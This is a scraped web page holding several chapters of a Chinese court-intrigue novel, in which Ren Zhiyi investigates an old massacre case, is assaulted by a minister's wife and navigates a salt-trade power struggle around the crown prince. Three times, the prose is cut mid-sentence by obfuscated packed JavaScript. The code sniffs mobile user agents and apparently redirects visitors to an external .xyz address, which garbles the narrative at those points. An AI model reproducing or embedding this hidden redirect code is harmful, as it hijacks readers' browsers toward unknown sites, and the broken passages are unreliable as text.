徐志挥手引路，“圣令有言，任大人可于六部行走。这边请。” 穿院而过，行过内堂、尚书房、案阁和邢狱，徐志为她一一介绍。 二人四处闲转，直走到邢狱门前，徐志方才伸手相拦，“任大人请留步。此处是邢狱，不可进。” 任知宜瞥了一眼森然厚重的铁门，不以为意地笑笑，“久闻刑部大狱之名，是个令人只求速死，不愿苟生的地方。” “我朝非重案不入刑狱，十狱九死，民间不明真相的人多，便生出许多传言。” 二人闲聊几句，沿着衙署转了一圈，回到案阁。 任知宜直白道：“今日前来，其实是想请徐大人找一份多年前的旧卷。” “哪一件？” “云门镇屠案。” 徐志想了想，“此案发生时，正值京城陷落，虽然刑部后来整理过相关案卷，可是遗漏极多，并无太多记载。” “无妨。” 徐志顿了一下，出言提醒，“此案乃逆贼盛齐月所为，天下皆知。满朝上下恨逆贼入骨，还请任大人斟酌行事。” “呵呵……”，任知宜格格笑道：“徐大人放心，我并非要为逆贼翻案，只是想在卷中找一个人的名字。” 徐志很快呈来案卷。 任知宜展卷细阅，里面记着——“嘉以四年，连月大雨，云门江洪水泛滥，连淹数镇。大灾之后，百姓染疫。六月十三，盛齐月遣心腹屠杀百姓，火烧云门镇。” 朝廷收复安州之后，为当时死去的百姓立了一座衣冠冢，云门镇就此萧条败落，变成一座荒城。 纤细的食指落于案卷，顺着卷上的名字缓缓向下滑动，直到停在一个名字上，沈玄。 “沈玄，安州人氏，卒于嘉以四年六月十三。” 除了这一句话，再没有关于沈玄的任何记录。 她继续向下翻页，看到——“曾有寺庙僧人送药至云门镇，部分百姓得到救治；后因药材匮乏，疫病蔓延……” “有四人侥幸生还，将叛贼逆行昭告天下后，不知所踪。” 她在案前坐了两个时辰，将所有案卷誊抄完毕，向徐志告辞离开。 ———— 宝篆香铺重新开张。 后院中，花叶连枝铺地，香气飘散。任知宜敛裙挽袖，拣出花叶，用木杵捣成泥浆。 云娘坐她旁边，一边将香泥过筛，一边闲聊。 “这几日客人恢复了一些，不过还是比不过开业那几日。最令人惊讶的是，有些夫人来居然是为了打听霍公子婚配与否。” “呃？”任知宜愣了一下，禁不住放肆一笑。 “这倒好。”她不紧不慢地抖了几滴花汁入香粉，笑道：“趁着明日义兄休沐，你将他拉到咱们香铺里坐着，正好告诉全京城的媒婆，守在家门口是见不到霍大公子的，不如来香铺相人，到时候咱们香铺定然客似云来。” 新科一甲入翰林。三人都成了京城炙手可热的佳婿人选，任知宜和霍思修租住的宅子每日都有媒婆上门，差点把门槛踩破，后来宝珠在门前耍了好一阵大刀，那些媒婆才渐渐散去。 “东，家！”几句玩笑话，惹得云娘啼笑皆非。 任知宜将各种香粉置于戥称之上，记下钱重，重新调配香粉的比例。 此时，檐下的蓝羽虎皮鹦突然高声叫起，“有客到！有客到！” 云娘面露喜色，忙起身净手，“东家，我去前面招呼一下客人。” — 帘子撩起，来客是三位夫人，皆金珠玉翠，遍身罗绮，一看就是出身显贵。 云娘笑着上前，“夫人，想要买点什么？” 为首的夫人高髻平眉，头戴八宝攒珠步摇，颈间挂一串翠玉珠，最为张扬。她扬着下巴，环顾四周，“我当是什么好地方，原来是家这么寒酸的铺子！” 云娘笑容微滞，旋即恢复，“夫人，要不您看看这款蔷薇香膏，香气清新淡雅，是我们铺子里卖得最好的，好多夫人都喜欢这个味道。” “哼！”夫人冷笑，“卖得最好的东西，不就是人人都有？我要这种东西作甚！” 云娘忍着气，又拿出一方玉色云纹透雕漆盒，内里是枚玉兰如意香牌，胭脂底色，下缀青玉流苏，别致典雅。 站在后面的两位夫人被勾起兴趣，伸手拿来，放在鼻下闻了闻。 “好像有股淡淡的玉兰香。” “嗯，这味道温和舒润，倒是挺适合盛夏时节。” “什么糟烂东西，也值得夸赞？”为首的夫人神情倨傲，唇间发出一声轻蔑的冷哼。 云娘脸上勉力维持的笑容渐渐僵了下来。 “你们东家人呢？让她出来。”那夫人冷冷道。 云娘神色一变，挺了挺脊背，“我就是。” “呵！”那夫人睕了她一眼，“你算个什么东西！叫任知宜出来。” 她声音陡然拔高，引得路过的行人侧目。 “听说任知宜为人钻营贪利，怎地放着上门的客人不管？” 云娘听不得别人骂东家，登时冷下脸来，“夫人如果买东西，我们香铺欢迎之至；若是觉得我们铺子碍眼，还请离开。” “小小贱婢，居然敢惺惺作态！” 那夫人怒起，右手一扬，朝着云娘的脸上甩去。 巴掌还未落下，她的手臂便被人拑住，动弹不得。 “东家。”云娘失声道。 那夫人怔了一下，收回手臂，上下打量着任知宜。 任知宜冷冷回视，“畅叫扬疾，处处可闻。钟夫人不过是想见我一面，何必吵得众人皆知呢？” 那夫人眼神发寒，“你认得我？” “迎接应国使臣的宫宴上，你坐在太常寺卿钟黎钟大人的身侧，我猜错了吗？” “呵呵！”钟夫人干笑，“那么多人，难为你倒是记得清楚。” “夫人找本官何事？” “你居然敢问我何事！”钟夫人双目含恨，“我儿因为你被褫夺功名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127527|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又在狱中饱受惊吓，如今疯疯癫癫，时傻时醒，这些都是拜你所赐。” 任知宜瞳眸一转，神色微顿，“科举舞弊一案过了这么久，夫人怎地才来找我的不是？” 钟夫人眼神微闪。 昨夜，钟黎在书房外与人密谈。 她不知道他们在说什么，但是她偷听见她夫君说要立刻杀掉任知宜，对方让他静待一月再动手。 这几个月看着亲儿一步步变疯，任知宜却一路扶摇而上，她心中恨意渐盛，恨不得立刻啖其肉，喝其血，可是夫君一直让她忍耐。 大概是坤荣殿的事传开，夫君重归朝堂，知晓任知宜已失却东宫信任，终于筹划着要报亲子之仇了。 此时对任知宜，还有什么好忌惮的？ 钟夫人满脸鄙夷，啐声道：“你觊觎太子妃之位却被皇后重责。不过是一把锉刀，却妄想做执刀之人，就凭你也配？任知宜，你不会得到你想要的！不出一月，你必身首异处，为我儿赔上性命。” “哈哈！哈哈………” 她双目怨毒，笑得癫狂而疯戾，吓得随行而来的夫人颤然噤声，满脸惊恐地望着她。 任知宜眼神幽邃，“钟夫人，今日你来，钟大人可知？” 钟夫人一怔，眸中慌色一闪而过。 她的确是瞒着钟黎，本来还想要隐瞒身份，没想到被任知宜一眼认了出来。 不过，认出来又如何？ 钟夫人恨声道：“你以为你是谁？” 任知宜望着她，看她的神情，钟黎并不知道钟夫人会来见她。 前几日，她刻意大张旗鼓地前往刑部翻查旧案，就是为了引蛇出洞，没想到引出来的第一个人会是钟黎。 此前，她从未关注过此人，只是听景随说过他兄长自尽可能与钟黎有关。如今看来，钟黎还可能与云门镇屠案有关。 外人听来，钟夫人的骂言只是是怨毒的诅咒，可是任知宜心思敏锐，想得更深。 钟黎闭门思过数月，钟夫人在宫宴上也表现得极其安分，若不是钟府突然发生了什么事，钟夫人也不会按捺不住，赶来落井下石。所谓的“不出一月，必身首异处”更像是一种预示和谋划。 想到这里，任知宜清淡一笑，“前几日，钟大人刚向陛下上书告罪，承认教养失当，亲子罪有应得；钟夫人今日就来指摘于我，莫不是还想当着陛下的面申冤？” “贱人！” 钟夫人气得浑身哆嗦，血液直冲头顶，顺手拿起案上的茶盏，朝任知宜掷去。 任知宜闪身。 落地迸裂的碎片擦过她的脸颊，划出一道红痕。 “东家！”云娘惊呼。 右耳侧的雪肤划出一道半指长的伤痕，微微泛红。 云娘急得白了脸，“你怎么能伤人呢？” 钟夫人瞧见门前闻声而聚的百姓越来越多，冷哼一声，“我们走！” 人走后，云娘小心地查看着伤痕，忧心忡忡，“东家这几日还是不要来铺子里了，我怕她还来找麻烦。” “无妨。”任知宜浅浅一笑，“她不会再来了。 “今日回去之后，她可能连钟府的大门都走不出来。” 49. 虚实 翌日清和殿 御史大夫叶蕴之当朝弹劾柳州郑氏。 “眼下值六月，今年的盐收仅为去年的四成，臣弹劾郑家经营不力，致使朝廷财库捉襟见肘。” 柳德一步站出来，“去岁天灾，郑家不但慷慨解囊，还一直以朝廷的名义赈灾救民，为朝廷纾困解难，随意罗织罪名，岂不是寒了忠臣义士的心。 接着，叶、柳两边各有臣子站出来，双方各执一词，吵得不可开交。 皇帝拧眉，“好了！不要争了！” 这些人心里打得什么算盘，他心知肚明。盐业经营究竟给韩家还是郑家，于景郦而言并无不同，无非是太子与安王之争。 他望向范昉，“范卿怎么看？” 范昉颔首，“臣翰林出身，不懂庶务，但是臣觉得郑家经营数年，并无过错，朝廷若要更换郑家，须有一定章法，不能今日韩家，明日宫家，朝令夕改，落人口实。” 皇帝点了点头，“范卿所言极是。” 他又将视线移向翰林院的几张新面孔，轻咳两声，“景随、刘泰、霍思修，你们是新科一甲，初入官场，可有什么不同的见解？” 景随躬身而出，“陛下，臣认为郑家熟知经营方略，无论是对盐场工艺还是盐运渠道都极为了解，臣担心韩家经验尚浅，难以胜任。” 皇帝又望向刘泰和霍思修。 霍思修咽了咽口水，声音生涩，“启禀陛下，在臣的家乡房州，百姓一年收成的七成都用于买盐，盐价一涨，百姓便会陷入恐慌。臣以为，不管由谁家经营，维持盐价的稳定最为关键。” “刘泰，你觉得呢？”皇帝问道。 刘泰长揖行礼，“陛下，臣觉得范大人所言在理，先不论郑家经营得失，朝廷判定须有章法可循。朝臣举荐郑家的那一年乃是叛乱初定，百废待兴之时；如今形势却不同。江南盐税占税赋四成不止，乃是国之重事；财库根本在于赋，赋税之基在于盐；盐税不庶，无可余及，臣建议郑、韩两家当朝立状，承诺今年盐税超去年两成者可承接此业。” 六月的天，说变就变。 不过个把时辰，天际风起云卷，天色渐渐暗淡下来。 柳德和身侧几个朝臣的脸就像天上的层云一般，黑如泼墨。 盐税超去年两成！ 若不立状，便是弃之；若是答应下来，郑家便要损失大半盐利。 满殿文武不禁将视线移向太子卫枢。 众人皆知，太子与懿靖郡主过从甚密，刘泰又是安州王何卢的义子。若无太子授意，刘泰断然不会说这等话。 刘泰又道：“此章法，不可将盐税之负加于百姓身上，端看郑家和韩家的经营之能。” 好一招釜底抽薪。 柳德阴着脸，银牙紧咬。 这究竟是太子的攻心之术，还是韩家宁可壮士断腕，也要与郑家一争到底？ 叶蕴之道：“臣以为刘泰所言颇有见地，臣建议，可召郑韩两家家主进京，联络盐商，陈请经营要略。” 皇帝笑意微敛。 这话看似不偏不倚，可是韩家的韩少初早已进京多日，结交朝臣，往来盐商。 至于郑家…… 昨夜芙蓉帐暖，庆嫔娇软地偎在他怀中，哭得梨花带雨，他心中疼惜，便答应陪她回乡省亲。 御史台却言之凿凿，说什么“省亲远行不便，兹事体大，陛下应保重圣体”云云。 临州距离京城不过百里，有何不便？相比投效东宫的韩家，皇帝更喜欢晓明事理的郑家，无论是赈灾还是省亲，郑家都能为君分忧。 不过，刘泰有一句话说得不错，赋税之基在盐，财库空虚终究不是长久之计。 皇帝瞥了一眼如老僧坐定的景相。 自从程可靖自缢，景相似乎颓唐了不少，朝堂之上也甚少出声，像是有几分心灰意冷。 呵…… 皇帝冷哼一声。 从郑韩之争开始，他不会再被掣肘，不管对方是位高权重的景相，还是锋芒毕露的太子。 他要让所有人明白，他才是帝王！是真正的大胤之主！ “传朕令！宣郑檀进京，朕要亲自听郑韩两家陈请。” —— 阴风作作，骤雨将至。 散朝之后，众臣皆担心陷于泥泞，匆忙离宫。 霍思修前脚刚迈出清和殿的门槛，便听到有人唤他。 回身一看，漫天黑压之下，卫枢一身冷意，缓步而来。 霍思修默默地咽了咽口水。 太子莫不是来兴师问罪的？怪他不帮韩家？可是朝堂之上，他句句肺腑；况且刘泰言辞锋利，足以应对…… “听说，知宜受伤了？” 声音如玉石击磬，夹杂着一丝喑哑。 霍思修怔了一下，立刻反应过来，“知宜的伤不深，大夫说不会留疤。” 天空突然一亮，打了个闪。 闪下，卫枢眸色黑得发亮，幽邃之底，似有暗流急涌。 被这眼神一扫，霍思修脚下一僵，半分不敢动弹。 “她这几日在做什么？” 霍思修谨慎回道：“做香料。” “她可有提起孤？”这话含在口中，半晌才出。 霍思修眼皮一跳。 朝野上下传言，任知宜恋慕太子，被皇后斥责，恐失幕僚之位。 想到这里，霍思修赶紧把脑袋摇得像个拨浪鼓，状似发誓，“绝未提及殿下半句。” 卫枢神眼波微动，默了半晌，递给他一个瓷瓶。 “这是宫中圣药，你嘱她一日涂抹两次，勿要见光，见水。” 霍思修躬身接下。 “回去告诉她，明日进宫来见孤。” “是。” 文华门前，目送太子的背影，霍思修直起身来，长长地舒了口气。 不知是不是他的错觉，太子刚才望向他的那一眼似乎透着几分冷戾。 或许……是因为郑韩之争，惹得太子心情不佳？ ———— 柳府书房 火盆中，纸笺随火蛇飞舞，渐渐化成了一摊灰烬。 柳德瞥着飞扬的纸灰，笑了笑。 “伯父看过信之后似乎很开心，这信里写的是什么啊？”柳德的侄儿问道。 “一桩旧案。”柳德淡淡笑道。 柳侄又道：“任知宜传信儿过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127528|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，说她有一计，可令韩家一败涂地。” “哦？”柳德不在意地轻笑，“你按她说的去做。” 柳侄吃惊，“您还没听她的计策，便要照她说得做，如此相信她？” “呵！相不相信并不重要，只要让她觉得我们足够信任她即可。” 柳侄不解。 柳德走到窗前，将飞灰撒了出去，嗤笑道：“你以为她会真心助我们？” “侄儿愚钝。” 柳德膝下无子，兄嫂早丧，这个侄儿从小被他带在身边，是他最信任的人。柳德也作好了打算，日后柳家的人脉经营都要尽数交到侄儿手中，所以，很多事情也不会瞒着他。 “任知宜不是蠢人。她心中清楚，即便韩家败了，也不会伤及太子根本，她只是想要利用我毁掉太子的婚约。只不过，她以为我费劲心机笼络她，是为了郑家的盐业经营；其实螳螂捕蝉，黄雀在后，我真正的意图是——太子。” 顺着柳德的视线，柳侄望向四散的烟灰，“伯父所说的，和刚才那封信里提到的旧案有关？” “不错，她在查一桩旧案。”柳德唇角微扬，“真正想碰这件案子的人不是她，而是太子。” “侄儿糊涂了。外面的人不都在说，任知宜已失东宫信任，太子为何还要重用她？” 屋外的风吹进来，烛火颤动摇曳。 跳跃的烛光打在柳德高耸眉骨上，落下一片阴影，衬得双眸愈加阴鹜。 “未必是太子的吩咐，只不过她想要凭借这场旧案重得太子宠信，却无意中被老夫获知太子真正在意的事。” 柳德轻拍侄儿的肩膀，“你知道这个世上有比盐业更一本万利的买卖是什么吗？” “是从龙之功！”像是按捺不住，柳德不等他回答，便吐出声来。 “我入朝数十年，夙夜辛劳，殚精竭虑，才获得今时今日这个地位，可是终究还是差人一步，做不到文臣之首；一步的距离，便要仰人鼻息。柳家既不是百年世家，也不是皇朝勋贵，门第荣辱皆系于我一身；若有一日，我被逼出朝野，柳家还有何立足之地？所以，我要挣从龙之功，为柳家延续尊荣。” 柳侄蓦地一惊，心胆剧颤。 他们柳家是依附解州宫家起家，如今太子与宫家已是势如水火，若然太子登基，柳家必然倾覆。 柳侄费解，“您要如何挣这从龙之功？” “为太子设局。”柳德淡淡道。 柳侄闻言一悚，哆哆嗦嗦地说不出话来，“伯，伯父……” 柳德紧紧地攥着他的手，将他攥得骨节生疼，“不要怕。” “任知宜以为我与她各取所需，是为了盐业经营，我们正好借此时机，让她为我们所用。当所有人的目光都聚集在郑韩两家相争时，我们给太子一个痛击，储君易主，安王上位，便是顺理成章的从龙之功。” 柳德笑得阴沉。 窗外，倾盆雨坠。 酝酿了一整日迟迟落不下来的雨，此时，轰轰然地从九霄之外垂落下来，势不可挡，急不可待。 柳德望向窗外，沉声道：“有些事情，再怎么抗拒，也终究会走到这一步，就像这场雨，避是避不过的。” 50. 喜欢 大胤盐业施行两重盐制。 江南三道为专营制，由郑家负责产盐、运盐和销盐，每年向官府缴纳盐税。除江南三道以外的其他各地仍然施行盐引制。京城附近的盐井、盐池皆由盐铁司所管控，商户可凭盐引获得售盐的资格。 韩家为开拓盐路，熟悉盐场运作，费尽心机在京城拿到盐引，连开十八家盐铺。 转眼间，一个月倏忽而过。韩家盐铺生意做得兴隆，人人载道，一时无两。 谁知，这一日，平地一声惊雷起。 韩家商铺售卖假盐，被官府查获；盐铁司告令，韩家十八家盐铺暂闭七日。 韩家一直售卖的是上等盐。京城市面上的盐品分三等，价格不同，颜色、形状各异。上等盐盐质细密，价格昂贵，供给之人非富即贵。 数十位买盐人众口一词，声称近日从韩家买的盐根本不是上等盐，而是上中两等掺杂的次品，韩家是以次充好，鱼目混珠。 此事原本不大，可是他们同时出现，来势汹汹，一番高声叫闹之后，惹得百姓围观。 不到半刻，盐铁司的人就到了。 盐铁司验证之后证实韩家的确私卖假盐，当即查封盐铺，没收盐引，公告全城。 韩少初不服，前往盐铁司申辩，不但没能拿回盐引，还被人痛骂一场，气得他当场拂袖而走，转身去了东宫。 —— 翌日 晨露未散，任知宜走在东宫甬道上，遥遥望见卫枢的身影。 他白衣飘袂，笔直而立，似是早就在等她。 四下空寂，和风细润。 任知宜缓步上前，颔首行礼，“殿下。” 卫枢的视线落在她耳侧，“你的伤怎么样？” 任知宜微愕，她今日身着官服，耳侧被双幞乌纱官帽遮盖，应是看不见那道伤痕的。 “已无大碍，多谢殿下关怀赐药。臣听闻昨夜韩少初……” “先不要提韩家。”卫枢径直打断她的话，声音急促，“孤将当年的事告之于你，不是要你只身犯险，只是希望你我坦诚相待。这件旧案牵连甚广，非一人之力可为。你这样犯险，实在是胡闹！” “殿下！”任知宜先是一怔，接着微不可察地摇了摇头，眼神明暗交错。 甬道的尽头，在重檐遮盖的暗影中，现出一道鬼祟的低伏人影。 卫枢猛地攥拳，重重地吐了口浊气，方才担忧的情绪来得过急过快，竟让他忘了，深宫之中处处都是眼线。 顺着她的视线，他眼尾的余光掠过甬道尽头，宫墙后面跪着一个看似寻常的洒扫宫人。 他唇角薄笑，眸中冷意沉沉。 半晌，卫枢沉声道：“你刚才想说什么？” 任知宜听卫枢不再提及旧案，暗暗地松了口气，朗声应答，“臣谏言，江南世家相争，东宫应作壁上观。” “孤以为凭你与韩少初的交情，是来替韩家求情的？” “臣一心为东宫筹谋，不敢有私。” 任知宜敛眸，“韩家相争，背后有桩原由。韩少初的姐姐嫁于郑家，不足三月即死，郑家对外宣称急病缠身，草草办了后事。韩少初明着是为韩家争世家之首的地位，实则是为亲姐报仇。他不过是一时的意气用事，如今售卖假盐声誉尽毁，东宫何必受其拖累？” 此时，天际朝霞散尽，烈日升空。 六月之时，暑气渐盛，空气中凝着滞闷的气息。 卫枢面露不耐，似乎并未将这一番恳切之言听入耳中，“郑家的手伸得如此长，难道要孤坐以待毙？” 任知宜静然默立。 “郑家扶持安王，与孤势不两立。”卫枢的声音有如凉冰碎玉，“韩家不是为财而争也好，孤要韩家做引线，将这场火势燎原。” 他淡淡地瞥了一眼任知宜，“韩家出事的时机刚刚好，你猜是何人向柳德建议？” 任知宜面色不改，恭谨低首，“不过是些微末伎俩，若殿下执意助韩家，臣自有他法。” 一片静默。 冷不防，目下之光被暗影一挡。 怔然抬头之际，卫枢已欺身至眼前，二人咫尺相隔，呼吸可闻。 “殿，殿下！” 任知宜被他强烈的气息所罩，略感不安，身子不自觉向后倾，却被他一把握住手腕，拉回到原位。 四目相对，她的瞳眸中倒映出卫枢的蹙眉，眉下寸长剑疤泛出粉红的色泽，清晰可见。 卫枢声音幽幽，“有人说，你恋慕孤而不得，会因此背叛于孤。” 任知宜倏然跪地，“臣对殿下忠心耿耿，绝无二意。” 箍着她手腕的力道丝毫不松，卫枢双眸如漆，“孤关心的是前一句，你真心恋慕于孤？” 任知宜被这句话惊了一跳，完完全全地怔在原地，眼神茫然，不知道该说什么。 这不该是卫枢此时说的话，接下来他应该问她和柳德见面之事，展现一个储君对幕僚的猜忌与信任交织，或者他应该问她如何应对韩家的困局…… 问什么都好，唯独不该问这个问题。 浩浩天光从宫檐一角倾泻，落在甬道的青石板上，幽黑的倒影连在一起，宛若相依。 她的心跳骤然慢了一瞬。 突地，一只黄羽雀扑棱着翅膀，飞掠而过。 清脆的叽咕声，打破了二人之间的凝滞。 任知宜站稳脚下，面色恢复平静，朗声道：“绝无此事！” 卫枢骨节分明的手轻轻一松，萦绕于二人之间的窒感渐渐消散开来。 察觉到任知宜绷紧的气息骤然松解，他清浅地笑了一下。 视线掠过脚下松动的青石板，接连几日的阴雨连绵，令石板缝中长出细草，蓬勃欲出，一如他突如其来的，生平从未有过的，促狭的心情。 “孤自然还是最信任你。”卫枢露出清淡的笑容，“依你看，现下如何解韩家之困？” 任知宜挺直腰背，恭声道：“以其之道，还施彼身。” ———— 庆阳门外的荫道上停着一八人步辇，华盖纱幔，宫扇仪仗。辇中之人端坐其上，姿仪高贵，明艳无双。 此处是任知宜出宫的必经之道，她远远见到步辇，不得不上前见礼，“臣见过懿靖郡主。” 纱幔撩起一角，露出一张妍丽的面容，“难得见任待诏一次，这么快又要出宫？” 任知宜淡笑，“劳郡主挂心，殿下吩咐臣去宫外办件小事。” “呵！”懿靖郡主轻笑，“原本我还担心任待诏会因为坤荣殿的事与殿下生嫌隙，现在看来是我多虑了。” 任知宜挺直身姿，明眸清亮，“殿下胸有丘壑，仁义宽和，乃是明主；知宜不敢心生怨怼。” “那就再好不过了。”懿靖巧笑嫣然，“听闻你的脸受伤，我心急如焚，赶紧让人寻了些伤药给你。” 话音甫落，立刻有郡主的随侍递上一本折册。 翻开折册，里面记着诸多专治外伤的名贵药材。 “这些药材都寄存在京城的弄草堂药铺里，你自行去取吧。” 任知宜正要道一声“多谢”，突然被上面钤盖的私印印鉴吸引住目光。 私印以朱文篆刻，为“懿靖”二字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127529|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 字结遒劲藏锋，兼若行云流水，镌刻成印，更添风骨。 这字迹，她极为熟悉——是卫枢的字迹。 像是察觉到她的疑惑，懿靖郡主笑得明媚，“这是太子殿下亲自为我刻的私印。” 大胤民间有个风俗，男子为女子篆刻私印，乃情深相许之意。 任知宜抬眼。 透白的纱幔下，居高临下的俯瞰目光之中，透出几分高傲的轻慢。 任知宜缓缓合上折册，收拢袖中，笑意不减，“多谢郡主垂爱，臣必善用这些药材。” “任待诏务必谨慎些，容貌乃是女子最紧要之事，若是不小心留下疤痕，恐怕日后于婚事有碍。” “无妨。”任知宜淡笑，“单以容色度人的夫婿，不要也罢。” 此话一出，那双明艳的秀目中闪过一抹鹜色。 “大胆！”郡主身边的随侍宫女大声喝道：“郡主好心提醒，你居然敢出言讥讽！” 不远处，传来一道朗朗清越之声。 “何来讥讽？” 一袭青衫，六品朝服，芝兰玉树，风姿落落。 这几日，为加紧修编前史中的一本遗册，景随与几位翰林院学士一直住在外宫内。 没料到，今日碰上这一出。见景随出声维护，其他人也跟了上来。 懿靖郡主双眸逡巡了一圈，露出端妍大方的笑容，“任待诏说得对。容色侍人，终归下乘。为君妇者，最重要的还是德行；以夫为尊，妻贤淑德方为正道。” 几位翰林院学士笑着点点头。 景随笑容和煦，“郡主果然德才兼备，只可惜，身边的奴婢见识浅薄，目中无人。” 懿靖郡主笑容微滞，瞥了一眼刚才出声的宫女，“景大人所言极是。没规没矩的婢子！拖下去，掌嘴三十！” 随侍宫女浑身一颤。 “慢着。”景随的笑容更甚，犹如春日暖风，“小小奴婢，就敢当众折辱六品女官，本官以为，掌嘴不够，该行三十杖刑。” 随侍宫女闻言，身子倏地软倒在地上，牙关上下打战，“郡，郡主……” 懿靖郡主面沉如水。 两相对峙之际，几位翰林院学士面面相觑。 景随自入翰林院以来，一向待人谦和，温文有礼，却不明白他今日为何非要与这宫女过不去。 三十杖下去，这宫女的腿就算是废了。 两边都不好再得罪，众人无奈，只好望向默立一旁的任知宜。 “郡主，诸位大人。”任知宜谦恭颔首，悠悠道：“不过一场误会，算了。” 待众人离开，景随神色古怪地望着她，眉头蹙得死紧。 “任知宜，能不能告诉我，你近来为何性情大变，失了往日斗志，甚至被一个奴婢欺辱到头上，你都不还击？” 任知宜一怔，哑然失笑。 “她不过是一个听命于主子的可怜人，哪怕取了她的性命，懿靖也不会在意分毫。” 景随长眉紧拧，“良善之辈素来可没有什么好下场。” 这是景随第一次数落她，倒显出他的几分真意。 任知宜心中受用，笑着长揖到地，“抱歉。辜负了景公子一番维护之情。” 景随觑了她一眼，淡淡道：“我维护自己心悦之人，不用言谢。” 告白之言突如其来，真比当空的烈日还要灼热。 饶是早就猜到景随的心意，任知宜乍听此话，还是轰地一下烧红了脸面，双颊一时红，一时白，半晌才恢复常色。 “感谢景公子错爱，知宜已有心上人。” 51. 易储 二人沿宫道而行，出庆阳门。 景随一路沉默，跨过宫门方才问道：“你的心上人是太子？” 任知宜点了点头。 景随又问，“你想进宫做太子妃？” 任知宜迟疑一瞬，又点了点头。 月升西天，暮色渐起，石方街的行人步履匆匆。 景随脚步微顿，望着她的神情似笑非笑。 “我看你的样子，可一点都不像在说女儿家的心事，知宜姑娘是不是有什么不能告之的秘密？” “你没听过近来的传言？”任知宜眨了眨眼睛，莞尔笑道：“太子殿下龙章凤姿，清隽和逸，我情窦初开，心悦于他也是理所当然。” 景随瞥了她一眼，摇头失笑。 任知宜抿唇，“你笑什么？” “知宜姑娘心性旷达，即使心怡殿下，也不会愿意困入宫中；退一万步讲，即便是真的，姑娘一向明机直断，岂会任自己成为传言里横刀夺爱，委曲求全之人？” 他与她说话时，一向喜欢挑着眉，含笑凝视，双眸灿灿，似是极为笃定能看穿她心中所想。 任知宜轻咬下唇，声音轻得像一阵风，“或许，这一次，你就是猜错了。” 泠泠月光照进她的眸中，透出几分真意。 景随长眉微动，眼中的笑意渐渐淡了下去。 气息凝滞片刻，景随复又笑了，笑得云淡风轻。 “若真如此，景某就与太子殿下争上一争。” 认识至今，她从不怀疑景随说的话。 温文尔雅的外表下，透着不惧世俗的狂悖之心，这才是真正的景随。 与之相比，卫枢则截然不同，心思深重，顾虑重重，始终做不到坦然。 景随继续笑道：“景某与姑娘打个赌，有朝一日，姑娘会亲自出面澄清这桩流言。” 任知宜回过神来，淡淡一笑，未再多言。 突然，她想起一事，问道：“你之前说太常寺卿钟黎与令兄之死有关，我去查了他的卷宗，他两次被贬出京，皆是得景相举荐召回。景公子可知，令尊与钟黎是何关系？” 景随目色凉凉，“钟黎与他同年入朝，后来同入吏部，相交多年。” 任知宜眸色轻动。 “既然是令尊的知交，你还怀疑钟黎？” “他是他，我是我。”景随笑意微敛，“我与他的父子之情，早在他将我和母亲抛下留给难民的那一刻起，就消失殆尽了。 ———— 烛火燃燃，满室华亮。 清和殿后的内堂，皇帝端于正座，手指摩挲着玉茶盏沿，轻轻啜了一口。 堂下坐着一人。 宽袍广袖，面白微髯，正是当朝大儒，政事堂五人之一的翰林院大学士范昉。 “范卿，如何看待那万言匾？” 当日，由靖南道万名百姓以指间鲜血写成的万言匾，一路跨越各道州府，浩浩荡荡地送至京城，引得京城沸腾。 万言匾为三十龄黑檀木所制，长约八尺，重逾二百斤，由四名高壮侍卫肩举入宫。 城中百姓、后宫诸人见到此景，无不目惊语叹。 “生于盛世，得逢圣主，天亦幸之……千秋鼎盛，万世开继……” 此万言匾极尽溢美之辞，又兼万民血书，恢宏壮丽，非寻常歌功颂德的奏书所能匹及。 皇帝见之，龙颜大悦。 匾中一万字，无一字提及安王。 但是，朝中上下心知肚明，这功劳是安王的。 安王代君巡察靖北道，擒获山匪，安置流民，与应国修好通商，民间声望日隆。兼之在陛下床前侍疾，衣不解带，食不知味，至孝之名为前朝后宫所称道。 白日里，皇帝连下两道圣旨。 第一道，晋封贤妃为贤贵妃，赐住煜宁宫。 第二道，擢安王为兵部侍郎，兼领内宫禁军，并承下月秋獼的内外事宜。 皇帝轻轻抬手，一旁的胡总管立刻吩咐众侍退下，他自己则守在门前待命。 范昉微笑颔首，“陛下，民心归向，社稷之福也。” 皇帝微抬眼皮，“范卿觉得安王如何？” “温厚仁义，才德卓然。” “……”，皇帝顿了一下，“那比起太子又如何？” 范昉神色微凝，默了良久，“天家之子，龙章凤姿，各有千秋。” “范昉！”皇帝厉喝一声，“当年嘉以之乱，你痛斥逆贼，傲骨铮铮，如今怎地也学会明哲保身，置社稷朝堂于身外？” “臣不敢。”范昉叩首。 